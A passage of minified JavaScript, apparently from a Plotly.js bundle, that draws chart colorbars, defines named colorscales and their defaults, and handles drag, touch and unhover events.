if(er=Gt,pe==="bottom"&&(Pr=K.t+Xe*Tt+10+(ye.indexOf("inside")===-1?bt.tickfont.size:0)+(bt.ticks!=="intside"&&k.ticklen||0)),pe==="top"){var ct=le.text.split("<br>").length;Pr=K.t+Xe*Tt+10-Fe-v*ae*ct}et((_?"h":"v")+bt._id+"title",{avoid:{selection:M.select(B).selectAll("g."+bt._id+"tick"),side:pe,offsetTop:_?0:K.t,offsetLeft:_?K.l:0,maxShift:_?j.width:j.height},attributes:{x:er,y:Pr,"text-anchor":"middle"},transform:{rotate:_?-90:0,offset:0}})}}function _t(){if(!_&&!Ot||_&&Ot){var Tt=I.select("."+E.cbtitle),Gt=Tt.select("text"),er=[-G/2,G/2],Pr=Tt.select(".h"+bt._id+"title-math-group").node(),ct=15.6;Gt.node()&&(ct=parseInt(Gt.node().style.fontSize,10)*v);var Vt;if(Pr?(Vt=a.bBox(Pr),Qe=Vt.width,Ie=Vt.height,Ie>ct&&(er[1]-=(Ie-ct)/2)):Gt.node()&&!Gt.classed(E.jsPlaceholder)&&(Vt=a.bBox(Gt.node()),Qe=Vt.width,Ie=Vt.height),_){if(Ie){if(Ie+=5,pe==="top")bt.domain[1]-=Ie/K.h,er[1]*=-1;else{bt.domain[0]+=Ie/K.h;var Ut=s.lineCount(Gt);er[1]+=(1-Ut)*ct}Tt.attr("transform",t(er[0],er[1])),bt.setScale()}}else Qe&&(pe==="right"&&(bt.domain[0]+=(Qe+ae/2)/K.w),Tt.attr("transform",t(er[0],er[1])),bt.setScale())}I.selectAll("."+E.cbfills+",."+E.cblines).attr("transform",_?t(0,Math.round(K.h*(1-bt.domain[1]))):t(Math.round(K.w*bt.domain[0]),0)),de.attr("transform",_?t(0,Math.round(-K.t)):t(Math.round(-K.l),0));var dr=I.select("."+E.cbfills).selectAll("rect."+E.cbfill).attr("style","").data(ge);dr.enter().append("rect").classed(E.cbfill,!0).attr("style",""),dr.exit().remove();var sr=we.map(bt.c2p).map(Math.round).sort(function(wt,mt){return wt-mt});dr.each(function(wt,mt){var Pt=[mt===0?we[0]:(ge[mt]+ge[mt-1])/2,mt===ge.length-1?we[1]:(ge[mt]+ge[mt+1])/2].map(bt.c2p).map(Math.round);_&&(Pt[1]=g.constrain(Pt[1]+(Pt[1]>Pt[0])?1:-1,sr[0],sr[1]));var zt=M.select(this).attr(_?"x":"y",Ze).attr(_?"y":"x",M.min(Pt)).attr(_?"width":"height",Math.max(Fe,2)).attr(_?"height":"width",Math.max(M.max(Pt)-M.min(Pt),2));if(k._fillgradient)a.gradient(zt,B,k._id,_?"vertical":"horizontalreversed",k._fillgradient,"fill");else{var Xt=ke(wt).replace("e-","");zt.attr("fill",P(Xt).toHexString())}});var nt=I.select("."+E.cblines).selectAll("path."+E.cbline).data(re.color&&re.width?Te:[]);nt.enter().append("path").classed(E.cbline,!0),nt.exit().remove(),nt.each(function(wt){var mt=Ze,Pt=Math.round(bt.c2p(wt))+re.width/2%1;M.select(this).attr("d","M"+(_?mt+","+Pt:Pt+","+mt)+(_?"h":"v")+Fe).call(a.lineGroupStyle,re.width,xe(wt),re.dash)}),de.selectAll("g."+bt._id+"tick,path").remove();var rt=Ze+Fe+(G||0)/2-(k.ticks==="outside"?1:0),vt=S.calcTicks(bt),gt=S.getTickSigns(bt)[2];return S.drawTicks(B,bt,{vals:bt.ticks==="inside"?S.clipEnds(bt,vt):vt,layer:de,path:S.makeTickPath(bt,rt,gt),transFn:S.makeTransTickFn(bt)}),S.drawLabels(B,bt,{vals:vt,layer:de,transFn:S.makeTransTickLabelFn(bt),labelFns:S.makeLabelFns(bt,rt)})}function Ft(){var Tt,Gt=Fe+G/2;ye.indexOf("inside")===-1&&(Tt=a.bBox(de.node()),Gt+=_?Tt.width:Tt.height),Me=Ee.select("text");var er=0,Pr=_&&pe==="top",ct=!_&&pe==="right",Vt=0;if(Me.node()&&!Me.classed(E.jsPlaceholder)){var Ut,dr=Ee.select(".h"+bt._id+"title-math-group").node();dr&&(_&&Ot||!_&&!Ot)?(Tt=a.bBox(dr),er=Tt.width,Ut=Tt.height):(Tt=a.bBox(Ee.node()),er=Tt.right-K.l-(_?Ze:yt),Ut=Tt.bottom-K.t-(_?yt:Ze),!_&&pe==="top"&&(Gt+=Tt.height,Vt=Tt.height)),ct&&(Me.attr("transform",t(er/2+ae/2,0)),er*=2),Gt=Math.max(Gt,_?er:Ut)}var sr=(_?X:W)*2+Gt+J+G/2,nt=0;!_&&le.text&&fe==="bottom"&&Y<=0&&(nt=sr/2,sr+=nt,Vt+=nt),j._hColorbarMoveTitle=nt,j._hColorbarMoveCBTitle=Vt;var rt=J+G,vt=(_?Ze:yt)-rt/2-(_?X:0),gt=(_?yt:Ze)-(_?Ce:W+Vt-nt);I.select("."+E.cbbg).attr("x",vt).attr("y",gt).attr(_?"width":"height",Math.max(sr-nt,2)).attr(_?"height":"width",Math.max(Ce+rt,2)).call(l.fill,q).call(l.stroke,k.bordercolor).style("stroke-width",J);var wt=ct?Math.max(er-10,0):0;I.selectAll("."+E.cboutline).attr("x",(_?Ze:yt+X)+wt).attr("y",(_?yt+W-Ce:Ze)+(Pr?Ie:0)).attr(_?"width":"height",Math.max(Fe,2)).attr(_?"height":"width",Math.max(Ce-(_?2*W+Ie:2*X+wt),2)).call(l.stroke,k.outlinecolor).style({fill:"none","stroke-width":G});var mt=_?Ke*sr:0,Pt=_?0:(1-st)*sr-Vt;if(mt=ie?K.l-mt:-mt,Pt=Q?K.t-Pt:-Pt,I.attr("transform",t(mt,Pt)),!_&&(J||P(q).getAlpha()&&!P.equals(j.paper_bgcolor,q))){var zt=de.selectAll("text"),Xt=zt[0].length,Yt=I.select("."+E.cbbg).node(),$t=a.bBox(Yt),yr=a.getTranslate(I),Ue=2;zt.each(function(ur,fr){var lr=0,Nr=Xt-1;if(fr===lr||fr===Nr){var Rr=a.bBox(this),Cr=a.getTranslate(this),vn;if(fr===Nr){var Ur=Rr.right+Cr.x,Mn=$t.right+yr.x+yt-J-Ue+V;vn=Mn-Ur,vn>0&&(vn=0)}else if(fr===lr){var Sn=Rr.left+Cr.x,nr=$t.left+yr.x+yt+J+Ue;vn=nr-Sn,vn<0&&(vn=0)}vn&&(Xt<3?this.setAttribute("transform","translate("+vn+",0) "+this.getAttribute("transform")):this.setAttribute("visibility","hidden"))}})}var Ne={},Et=T[ne],Lt=w[ne],Nt=T[fe],rr=w[fe],tr=sr-Fe;_?(O==="pixels"?(Ne.y=Y,Ne.t=Ce*Nt,Ne.b=Ce*rr):(Ne.t=Ne.b=0,Ne.yt=Y+F*Nt,Ne.yb=Y-F*rr),N==="pixels"?(Ne.x=V,Ne.l=sr*Et,Ne.r=sr*Lt):(Ne.l=tr*Et,Ne.r=tr*Lt,Ne.xl=V-z*Et,Ne.xr=V+z*Lt)):(O==="pixels"?(Ne.x=V,Ne.l=Ce*Et,Ne.r=Ce*Lt):(Ne.l=Ne.r=0,Ne.xl=V+F*Et,Ne.xr=V-F*Lt),N==="pixels"?(Ne.y=1-Y,Ne.t=sr*Nt,Ne.b=sr*rr):(Ne.t=tr*Nt,Ne.b=tr*rr,Ne.yt=Y-z*Nt,Ne.yb=Y+z*rr));var Jt=k.y<.5?"b":"t",It=k.x<.5?"l":"r";B._fullLayout._reservedMargin[k._id]={};var or={r:j.width-vt-mt,l:vt+Ne.r,b:j.height-gt-Pt,t:gt+Ne.b};ie&&Q?o.autoMargin(B,k._id,Ne):ie?B._fullLayout._reservedMargin[k._id][Jt]=or[Jt]:Q||_?B._fullLayout._reservedMargin[k._id][It]=or[It]:B._fullLayout._reservedMargin[k._id][Jt]=or[Jt]}return g.syncOrAsync([o.previousPromises,pt,_t,St,o.previousPromises,Ft],B)}function n(I,k,B){var _=k.orientation==="v",F=B._fullLayout,O=F._size,z,N,G;d.init({element:I.node(),gd:B,prepFn:function(){z=I.attr("transform"),f(I)},moveFn:function(J,q){I.attr("transform",z+t(J,q)),N=d.align((_?k._uFrac:k._vFrac)+J/O.w,_?k._thickFrac:k._lenFrac,0,1,k.xanchor),G=d.align((_?k._vFrac:1-k._uFrac)-q/O.h,_?k._lenFrac:k._thickFrac,0,1,k.yanchor);var ne=d.getCursor(N,G,k.xanchor,k.yanchor);f(I,ne)},doneFn:function(){if(f(I),N!==void 0&&G!==void 0){var J={};J[k._propPrefix+"x"]=N,J[k._propPrefix+"y"]=G,k._traceIndex!==void 0?L.call("_guiRestyle",B,J,k._traceIndex):L.call("_guiRelayout",B,J)}}})}function C(I,k,B){var _=k._levels,F=[],O=[],z,N,G=_.end+_.size/100,J=_.size,q=1.001*B[0]-.001*B[1],ne=1.001*B[1]-.001*B[0];for(N=0;N<1e5&&(z=_.start+N*J,!(J>0?z>=G:z<=G));N++)z>q&&z<ne&&F.push(z);if(k._fillgradient)O=[0];else if(typeof k._fillcolor=="function"){var fe=k._filllevels;if(fe)for(G=fe.end+fe.size/100,J=fe.size,N=0;N<1e5&&(z=fe.start+N*J,!(J>0?z>=G:z<=G));N++)z>B[0]&&z<B[1]&&O.push(z);else O=F.map(function(X){return X-_.size/2}),O.push(O[O.length-1]+_.size)}else k._fillcolor&&typeof k._fillcolor=="string"&&(O=[0]);return _.size<0&&(F.reverse(),O.reverse()),{line:F,fill:O}}function x(I,k,B){var _=I._fullLayout,F=k.orientation==="v",O={type:"linear",range:B,tickmode:k.tickmode,nticks:k.nticks,tick0:k.tick0,dtick:k.dtick,tickvals:k.tickvals,ticktext:k.ticktext,ticks:k.ticks,ticklen:k.ticklen,tickwidth:k.tickwidth,tickcolor:k.tickcolor,showticklabels:k.showticklabels,labelalias:k.labelalias,ticklabelposition:k.ticklabelposition,ticklabeloverflow:k.ticklabeloverflow,ticklabelstep:k.ticklabelstep,tickfont:k.tickfont,tickangle:k.tickangle,tickformat:k.tickformat,exponentformat:k.exponentformat,minexponent:k.minexponent,separatethousands:k.separatethousands,showexponent:k.showexponent,showtickprefix:k.showtickprefix,tickprefix:k.tickprefix,showticksuffix:k.showticksuffix,ticksuffix:k.ticksuffix,title:k.title,showline:!0,anchor:"free",side:F?"right":"bottom",position:1},z=F?"y":"x",N={type:"linear",_id:z+k._id},G={letter:z,font:_.font,noHover:!0,noTickson:!0,noTicklabelmode:!0,calendar:_.calendar};function J(q,ne){return g.coerce(O,N,h,q,ne)}return c(O,N,J,G,_),b(O,N,J,G),N}te.exports={draw:p}},76228:function(te,Z,e){var M=e(71828);te.exports=function(o){return M.isPlainObject(o.colorbar)}},12311:function(te,Z,e){te.exports={moduleType:"component",name:"colorbar",attributes:e(63583),supplyDefaults:e(62499),draw:e(98981).draw,hasColorbar:e(76228)}},50693:function(te,Z,e){var M=e(63583),P=e(30587).counter,o=e(78607),L=e(63282).scales;o(L),te.exports=function(d,g){d=d||"",g=g||{};var t=g.cLetter||"c";"onlyIfNumerical"in g&&g.onlyIfNumerical;var r="noScale"in g?g.noScale:d==="marker.line",f="showScaleDflt"in g?g.showScaleDflt:t==="z",a=typeof g.colorscaleDflt=="string"?L[g.colorscaleDflt]:null,l=g.editTypeOverride||"",u;"colorAttr"in g?(u=g.colorAttr,g.colorAttr):u={z:"z",c:"color"}[t];var s=t+"auto",y=t+"min",c=t+"max",b=t+"mid",h={};h[y]=h[c]=void 0;var i={};i[s]=!1;var v={};return u==="color"&&(v.color={valType:"color",arrayOk:!0,editType:l||"style"},g.anim&&(v.color.anim=!0)),v[s]={valType:"boolean",dflt:!0,editType:"calc",impliedEdits:h},v[y]={valType:"number",dflt:null,editType:l||"plot",impliedEdits:i},v[c]={valType:"number",dflt:null,editType:l||"plot",impliedEdits:i},v[b]={valType:"number",dflt:null,editType:"calc",impliedEdits:h},v.colorscale={valType:"colorscale",editType:"calc",dflt:a,impliedEdits:{autocolorscale:!1}},v.autocolorscale={valType:"boolean",dflt:g.autoColorDflt!==!1,editType:"calc",impliedEdits:{colorscale:void 0}},v.reversescale={valType:"boolean",dflt:!1,editType:"plot"},r||(v.showscale={valType:"boolean",dflt:f,editType:"calc"},v.colorbar=M),g.noColorAxis||(v.coloraxis={valType:"subplotid",regex:P("coloraxis"),dflt:null,editType:"calc"}),v}},78803:function(te,Z,e){var M=e(92770),P=e(71828),o=e(52075).extractOpts;te.exports=function(S,d,g){var t=S._fullLayout,r=g.vals,f=g.containerStr,a=f?P.nestedProperty(d,f).get():d,l=o(a),u=l.auto!==!1,s=l.min,y=l.max,c=l.mid,b=function(){return P.aggNums(Math.min,null,r)},h=function(){return P.aggNums(Math.max,null,r)};if(s===void 0?s=b():u&&(a._colorAx&&M(s)?s=Math.min(s,b()):s=b()),y===void 0?y=h():u&&(a._colorAx&&M(y)?y=Math.max(y,h()):y=h()),u&&c!==void 0&&(y-c>c-s?s=c-(y-c):y-c<c-s&&(y=c+(c-s))),s===y&&(s-=.5,y+=.5),l._sync("min",s),l._sync("max",y),l.autocolorscale){var i;s*y<0?i=t.colorscale.diverging:s>=0?i=t.colorscale.sequential:i=t.colorscale.sequentialminus,l._sync("colorscale",i)}}},33046:function(te,Z,e){var M=e(71828),P=e(52075).hasColorscale,o=e(52075).extractOpts;te.exports=function(S,d){function g(s,y){var c=s["_"+y];c!==void 0&&(s[y]=c)}function t(s,y){var c=y.container?M.nestedProperty(s,y.container).get():s;if(c)if(c.coloraxis)c._colorAx=d[c.coloraxis];else{var b=o(c),h=b.auto;(h||b.min===void 0)&&g(c,y.min),(h||b.max===void 0)&&g(c,y.max),b.autocolorscale&&g(c,"colorscale")}}for(var r=0;r<S.length;r++){var f=S[r],a=f._module.colorbar;if(a)if(Array.isArray(a))for(var l=0;l<a.length;l++)t(f,a[l]);else t(f,a);P(f,"marker.line")&&t(f,{container:"marker.line",min:"cmin",max:"cmax"})}for(var u in d._colorAxes)t(d[u],{min:"cmin",max:"cmax"})}},1586:function(te,Z,e){var M=e(92770),P=e(71828),o=e(76228),L=e(62499),S=e(63282).isValid,d=e(73972).traceIs;function g(t,r){var f=r.slice(0,r.length-1);return r?P.nestedProperty(t,f).get()||{}:t}te.exports=function t(r,f,a,l,u){var s=u.prefix,y=u.cLetter,c="_module"in f,b=g(r,s),h=g(f,s),i=g(f._template||{},s)||{},v=function(){return delete r.coloraxis,delete f.coloraxis,t(r,f,a,l,u)};if(c){var T=a._colorAxes||{},w=l(s+"coloraxis");if(w){var E=d(f,"contour")&&P.nestedProperty(f,"contours.coloring").get()||"heatmap",p=T[w];p?(p[2].push(v),p[0]!==E&&(p[0]=!1,P.warn(["Ignoring coloraxis:",w,"setting","as it is linked to incompatible colorscales."].join(" ")))):T[w]=[E,f,[v]];return}}var A=b[y+"min"],m=b[y+"max"],n=M(A)&&M(m)&&A<m,C=l(s+y+"auto",!n);C?l(s+y+"mid"):(l(s+y+"min"),l(s+y+"max"));var x=b.colorscale,I=i.colorscale,k;if(x!==void 0&&(k=!S(x)),I!==void 0&&(k=!S(I)),l(s+"autocolorscale",k),l(s+"colorscale"),l(s+"reversescale"),s!=="marker.line."){var B;s&&c&&(B=o(b));var _=l(s+"showscale",B);_&&(s&&i&&(h._template=i),L(b,h,a))}}},52075:function(te,Z,e){var M=e(39898),P=e(84267),o=e(92770),L=e(71828),S=e(7901),d=e(63282).isValid;function g(c,b,h){var i=b?L.nestedProperty(c,b).get()||{}:c,v=i[h||"color"],T=!1;if(L.isArrayOrTypedArray(v)){for(var w=0;w<v.length;w++)if(o(v[w])){T=!0;break}}return L.isPlainObject(i)&&(T||i.showscale===!0||o(i.cmin)&&o(i.cmax)||d(i.colorscale)||L.isPlainObject(i.colorbar))}var t=["showscale","autocolorscale","colorscale","reversescale","colorbar"],r=["min","max","mid","auto"];function f(c){var b=c._colorAx,h=b||c,i={},v,T,w;for(T=0;T<t.length;T++)w=t[T],i[w]=h[w];if(b)for(v="c",T=0;T<r.length;T++)w=r[T],i[w]=h["c"+w];else{var E;for(T=0;T<r.length;T++){if(w=r[T],E="c"+w,E in h){i[w]=h[E];continue}E="z"+w,E in h&&(i[w]=h[E])}v=E.charAt(0)}return i._sync=function(p,A){var m=r.indexOf(p)!==-1?v+p:p;h[m]=h["_"+m]=A},i}function a(c){for(var b=f(c),h=b.min,i=b.max,v=b.reversescale?l(b.colorscale):b.colorscale,T=v.length,w=new Array(T),E=new Array(T),p=0;p<T;p++){var A=v[p];w[p]=h+A[0]*(i-h),E[p]=A[1]}return{domain:w,range:E}}function l(c){for(var b=c.length,h=new Array(b),i=b-1,v=0;i>=0;i--,v++){var T=c[i];h[v]=[1-T[0],T[1]]}return h}function u(c,b){b=b||{};for(var h=c.domain,i=c.range,v=i.length,T=new Array(v),w=0;w<v;w++){var E=P(i[w]).toRgb();T[w]=[E.r,E.g,E.b,E.a]}var p=M.scale.linear().domain(h).range(T).clamp(!0),A=b.noNumericCheck,m=b.returnArray,n;return A&&m?n=p:A?n=function(C){return y(p(C))}:m?n=function(C){return o(C)?p(C):P(C).isValid()?C:S.defaultLine}:n=function(C){return o(C)?y(p(C)):P(C).isValid()?C:S.defaultLine},n.domain=p.domain,n.range=function(){return i},n}function s(c,b){return u(a(c),b)}function y(c){var b={r:c[0],g:c[1],b:c[2],a:c[3]};return P(b).toRgbString()}te.exports={hasColorscale:g,extractOpts:f,extractScale:a,flipScale:l,makeColorScaleFunc:u,makeColorScaleFuncFromTrace:s}},21081:function(te,Z,e){var M=e(63282),P=e(52075);te.exports={moduleType:"component",name:"colorscale",attributes:e(50693),layoutAttributes:e(72673),supplyLayoutDefaults:e(30959),handleDefaults:e(1586),crossTraceDefaults:e(33046),calc:e(78803),scales:M.scales,defaultScale:M.defaultScale,getScale:M.get,isValidScale:M.isValid,hasColorscale:P.hasColorscale,extractOpts:P.extractOpts,extractScale:P.extractScale,flipScale:P.flipScale,makeColorScaleFunc:P.makeColorScaleFunc,makeColorScaleFuncFromTrace:P.makeColorScaleFuncFromTrace}},72673:function(te,Z,e){var M=e(1426).extendFlat,P=e(50693),o=e(63282).scales;te.exports={editType:"calc",colorscale:{editType:"calc",sequential:{valType:"colorscale",dflt:o.Reds,editType:"calc"},sequentialminus:{valType:"colorscale",dflt:o.Blues,editType:"calc"},diverging:{valType:"colorscale",dflt:o.RdBu,editType:"calc"}},coloraxis:M({_isSubplotObj:!0,editType:"calc"},P("",{colorAttr:"corresponding trace color array(s)",noColorAxis:!0,showScaleDflt:!0}))}},30959:function(te,Z,e){var M=e(71828),P=e(44467),o=e(72673),L=e(1586);te.exports=function(d,g){function t(c,b){return M.coerce(d,g,o,c,b)}t("colorscale.sequential"),t("colorscale.sequentialminus"),t("colorscale.diverging");var r=g._colorAxes,f,a;function l(c,b){return M.coerce(f,a,o.coloraxis,c,b)}for(var u in r){var s=r[u];if(s[0])f=d[u]||{},a=P.newContainer(g,u,"coloraxis"),a._name=u,L(f,a,g,l,{prefix:"",cLetter:"c"});else{for(var y=0;y<s[2].length;y++)s[2][y]();delete g._colorAxes[u]}}}},63282:function(te,Z,e){var M=e(84267),P={Greys:[[0,"rgb(0,0,0)"],[1,"rgb(255,255,255)"]],YlGnBu:[[0,"rgb(8,29,88)"],[.125,"rgb(37,52,148)"],[.25,"rgb(34,94,168)"],[.375,"rgb(29,145,192)"],[.5,"rgb(65,182,196)"],[.625,"rgb(127,205,187)"],[.75,"rgb(199,233,180)"],[.875,"rgb(237,248,217)"],[1,"rgb(255,255,217)"]],Greens:[[0,"rgb(0,68,27)"],[.125,"rgb(0,109,44)"],[.25,"rgb(35,139,69)"],[.375,"rgb(65,171,93)"],[.5,"rgb(116,196,118)"],[.625,"rgb(161,217,155)"],[.75,"rgb(199,233,192)"],[.875,"rgb(229,245,224)"],[1,"rgb(247,252,245)"]],YlOrRd:[[0,"rgb(128,0,38)"],[.125,"rgb(189,0,38)"],[.25,"rgb(227,26,28)"],[.375,"rgb(252,78,42)"],[.5,"rgb(253,141,60)"],[.625,"rgb(254,178,76)"],[.75,"rgb(254,217,118)"],[.875,"rgb(255,237,160)"],[1,"rgb(255,255,204)"]],Bluered:[[0,"rgb(0,0,255)"],[1,"rgb(255,0,0)"]],RdBu:[[0,"rgb(5,10,172)"],[.35,"rgb(106,137,247)"],[.5,"rgb(190,190,190)"],[.6,"rgb(220,170,132)"],[.7,"rgb(230,145,90)"],[1,"rgb(178,10,28)"]],Reds:[[0,"rgb(220,220,220)"],[.2,"rgb(245,195,157)"],[.4,"rgb(245,160,105)"],[1,"rgb(178,10,28)"]],Blues:[[0,"rgb(5,10,172)"],[.35,"rgb(40,60,190)"],[.5,"rgb(70,100,245)"],[.6,"rgb(90,120,245)"],[.7,"rgb(106,137,247)"],[1,"rgb(220,220,220)"]],Picnic:[[0,"rgb(0,0,255)"],[.1,"rgb(51,153,255)"],[.2,"rgb(102,204,255)"],[.3,"rgb(153,204,255)"],[.4,"rgb(204,204,255)"],[.5,"rgb(255,255,255)"],[.6,"rgb(255,204,255)"],[.7,"rgb(255,153,255)"],[.8,"rgb(255,102,204)"],[.9,"rgb(255,102,102)"],[1,"rgb(255,0,0)"]],Rainbow:[[0,"rgb(150,0,90)"],[.125,"rgb(0,0,200)"],[.25,"rgb(0,25,255)"],[.375,"rgb(0,152,255)"],[.5,"rgb(44,255,150)"],[.625,"rgb(151,255,0)"],[.75,"rgb(255,234,0)"],[.875,"rgb(255,111,0)"],[1,"rgb(255,0,0)"]],Portland:[[0,"rgb(12,51,131)"],[.25,"rgb(10,136,186)"],[.5,"rgb(242,211,56)"],[.75,"rgb(242,143,56)"],[1,"rgb(217,30,30)"]],Jet:[[0,"rgb(0,0,131)"],[.125,"rgb(0,60,170)"],[.375,"rgb(5,255,255)"],[.625,"rgb(255,255,0)"],[.875,"rgb(250,0,0)"],[1,"rgb(128,0,0)"]],Hot:[[0,"rgb(0,0,0)"],[.3,"rgb(230,0,0)"],[.6,"rgb(255,210,0)"],[1,"rgb(255,255,255)"]],Blackbody:[[0,"rgb(0,0,0)"],[.2,"rgb(230,0,0)"],[.4,"rgb(230,210,0)"],[.7,"rgb(255,255,255)"],[1,"rgb(160,200,255)"]],Earth:[[0,"rgb(0,0,130)"],[.1,"rgb(0,180,180)"],[.2,"rgb(40,210,40)"],[.4,"rgb(230,230,50)"],[.6,"rgb(120,70,20)"],[1,"rgb(255,255,255)"]],Electric:[[0,"rgb(0,0,0)"],[.15,"rgb(30,0,100)"],[.4,"rgb(120,0,100)"],[.6,"rgb(160,90,0)"],[.8,"rgb(230,200,0)"],[1,"rgb(255,250,220)"]],Viridis:[[0,"#440154"],[.06274509803921569,"#48186a"],[.12549019607843137,"#472d7b"],[.18823529411764706,"#424086"],[.25098039215686274,"#3b528b"],[.3137254901960784,"#33638d"],[.3764705882352941,"#2c728e"],[.4392156862745098,"#26828e"],[.5019607843137255,"#21918c"],[.5647058823529412,"#1fa088"],[.6274509803921569,"#28ae80"],[.6901960784313725,"#3fbc73"],[.7529411764705882,"#5ec962"],[.8156862745098039,"#84d44b"],[.8784313725490196,"#addc30"],[.9411764705882353,"#d8e219"],[1,"#fde725"]],Cividis:[[0,"rgb(0,32,76)"],[.058824,"rgb(0,42,102)"],[.117647,"rgb(0,52,110)"],[.176471,"rgb(39,63,108)"],[.235294,"rgb(60,74,107)"],[.294118,"rgb(76,85,107)"],[.352941,"rgb(91,95,109)"],[.411765,"rgb(104,106,112)"],[.470588,"rgb(117,117,117)"],[.529412,"rgb(131,129,120)"],[.588235,"rgb(146,140,120)"],[.647059,"rgb(161,152,118)"],[.705882,"rgb(176,165,114)"],[.764706,"rgb(192,177,109)"],[.823529,"rgb(209,191,102)"],[.882353,"rgb(225,204,92)"],[.941176,"rgb(243,219,79)"],[1,"rgb(255,233,69)"]]},o=P.RdBu;function L(g,t){if(t||(t=o),!g)return t;function r(){try{g=P[g]||JSON.parse(g)}catch{g=t}}return typeof g=="string"&&(r(),typeof g=="string"&&r()),S(g)?g:t}function S(g){var t=0;if(!Array.isArray(g)||g.length<2||!g[0]||!g[g.length-1]||+g[0][0]!=0||+g[g.length-1][0]!=1)return!1;for(var r=0;r<g.length;r++){var f=g[r];if(f.length!==2||+f[0]<t||!M(f[1]).isValid())return!1;t=+f[0]}return!0}function d(g){return P[g]!==void 0?!0:S(g)}te.exports={scales:P,defaultScale:o,get:L,isValid:d}},92807:function(te){te.exports=function(e,M,P,o,L){var S=(e-P)/(o-P),d=S+M/(o-P),g=(S+d)/2;return L==="left"||L==="bottom"?S:L==="center"||L==="middle"?g:L==="right"||L==="top"?d:S<.6666666666666666-g?S:d>1.3333333333333333-g?d:g}},70461:function(te,Z,e){var M=e(71828),P=[["sw-resize","s-resize","se-resize"],["w-resize","move","e-resize"],["nw-resize","n-resize","ne-resize"]];te.exports=function(L,S,d,g){return d==="left"?L=0:d==="center"?L=1:d==="right"?L=2:L=M.constrain(Math.floor(L*3),0,2),g==="bottom"?S=0:g==="middle"?S=1:g==="top"?S=2:S=M.constrain(Math.floor(S*3),0,2),P[S][L]}},64505:function(te,Z){Z.selectMode=function(e){return e==="lasso"||e==="select"},Z.drawMode=function(e){return e==="drawclosedpath"||e==="drawopenpath"||e==="drawline"||e==="drawrect"||e==="drawcircle"},Z.openMode=function(e){return e==="drawline"||e==="drawopenpath"},Z.rectMode=function(e){return e==="select"||e==="drawline"||e==="drawrect"||e==="drawcircle"},Z.freeMode=function(e){return e==="lasso"||e==="drawclosedpath"||e==="drawopenpath"},Z.selectingOrDrawing=function(e){return Z.freeMode(e)||Z.rectMode(e)}},28569:function(te,Z,e){var M=e(48956),P=e(57035),o=e(38520),L=e(71828).removeElement,S=e(85555),d=te.exports={};d.align=e(92807),d.getCursor=e(70461);var g=e(26041);d.unhover=g.wrapped,d.unhoverRaw=g.raw,d.init=function(a){var l=a.gd,u=1,s=l._context.doubleClickDelay,y=a.element,c,b,h,i,v,T,w,E;l._mouseDownTime||(l._mouseDownTime=0),y.style.pointerEvents="all",y.onmousedown=m,o?(y._ontouchstart&&y.removeEventListener("touchstart",y._ontouchstart),y._ontouchstart=m,y.addEventListener("touchstart",m,{passive:!1})):y.ontouchstart=m;function p(x,I,k){return Math.abs(x)<k&&(x=0),Math.abs(I)<k&&(I=0),[x,I]}var A=a.clampFn||p;function m(x){l._dragged=!1,l._dragging=!0;var I=r(x);c=I[0],b=I[1],w=x.target,T=x,E=x.buttons===2||x.ctrlKey,typeof x.clientX>"u"&&typeof x.clientY>"u"&&(x.clientX=c,x.clientY=b),h=new Date().getTime(),h-l._mouseDownTime<s?u+=1:(u=1,l._mouseDownTime=h),a.prepFn&&a.prepFn(x,c,b),P&&!E?(v=t(),v.style.cursor=window.getComputedStyle(y).cursor):P||(v=document,i=window.getComputedStyle(document.documentElement).cursor,document.documentElement.style.cursor=window.getComputedStyle(y).cursor),document.addEventListener("mouseup",C),document.addEventListener("touchend",C),a.dragmode!==!1&&(x.preventDefault(),document.addEventListener("mousemove",n),document.addEventListener("touchmove",n,{passive:!1}))}function n(x){x.preventDefault();var I=r(x),k=a.minDrag||S.MINDRAG,B=A(I[0]-c,I[1]-b,k),_=B[0],F=B[1];(_||F)&&(l._dragged=!0,d.unhover(l,x)),l._dragged&&a.moveFn&&!E&&(l._dragdata={element:y,dx:_,dy:F},a.moveFn(_,F))}function C(x){if(delete l._dragdata,a.dragmode!==!1&&(x.preventDefault(),document.removeEventListener("mousemove",n),document.removeEventListener("touchmove",n)),document.removeEventListener("mouseup",C),document.removeEventListener("touchend",C),P?L(v):i&&(v.documentElement.style.cursor=i,i=null),!l._dragging){l._dragged=!1;return}if(l._dragging=!1,new Date().getTime()-l._mouseDownTime>s&&(u=Math.max(u-1,1)),l._dragged)a.doneFn&&a.doneFn();else if(a.clickFn&&a.clickFn(u,T),!E){var I;try{I=new MouseEvent("click",x)}catch{var k=r(x);I=document.createEvent("MouseEvents"),I.initMouseEvent("click",x.bubbles,x.cancelable,x.view,x.detail,x.screenX,x.screenY,k[0],k[1],x.ctrlKey,x.altKey,x.shiftKey,x.metaKey,x.button,x.relatedTarget)}w.dispatchEvent(I)}l._dragging=!1,l._dragged=!1}};function t(){var f=document.createElement("div");f.className="dragcover";var a=f.style;return a.position="fixed",a.left=0,a.right=0,a.top=0,a.bottom=0,a.zIndex=999999999,a.background="none",document.body.appendChild(f),f}d.coverSlip=t;function r(f){return M(f.changedTouches?f.changedTouches[0]:f,document.body)}},26041:function(te,Z,e){var M=e(11086),P=e(79990),o=e(24401).getGraphDiv,L=e(26675),S=te.exports={};S.wrapped=function(d,g,t){d=o(d),d._fullLayout&&P.clear(d._fullLayout._uid+L.HOVERID),S.raw(d,g,t)},S.raw=function(g,t){var r=g._fullLayout,f=g._hoverdata;t||(t={}),!(t.target&&!g._dragged&&M.triggerHandler(g,"plotly_beforehover",t)===!1)&&(r._hoverlayer.selectAll("g").remove(),r._hoverlayer.selectAll("line").remove(),r._hoverlayer.selectAll("circle").remove(),g._hoverdata=void 0,t.target&&f&&g.emit("plotly_unhover",{event:t,points:f}))}},79952:function(te,Z){Z.P={valType:"string",values:["solid","dot","dash","longdash","dashdot","longdashdot"],dflt:"solid",editType:"style"},Z.u={shape:{valType:"enumerated",values:["","/","\\","x","-","|","+","."],dflt:"",arrayOk:!0,editType:"style"},fillmode:{valType:"enumerated",values:["replace","overlay"],dflt:"replace",editType:"style"},bgcolor:{valType:"color",arrayOk:!0,editType:"style"},fgcolor:{valType:"color",arrayOk:!0,editType:"style"},fgopacity:{valType:"number",editType:"style",min:0,max:1},size:{valType:"number",min:0,dflt:8,arrayOk:!0,editType:"style"},solidity:{valType:"number",min:0,max:1,dflt:.3,arrayOk:!0,editType:"style"},editType:"style"}},91424:function(te,Z,e){var 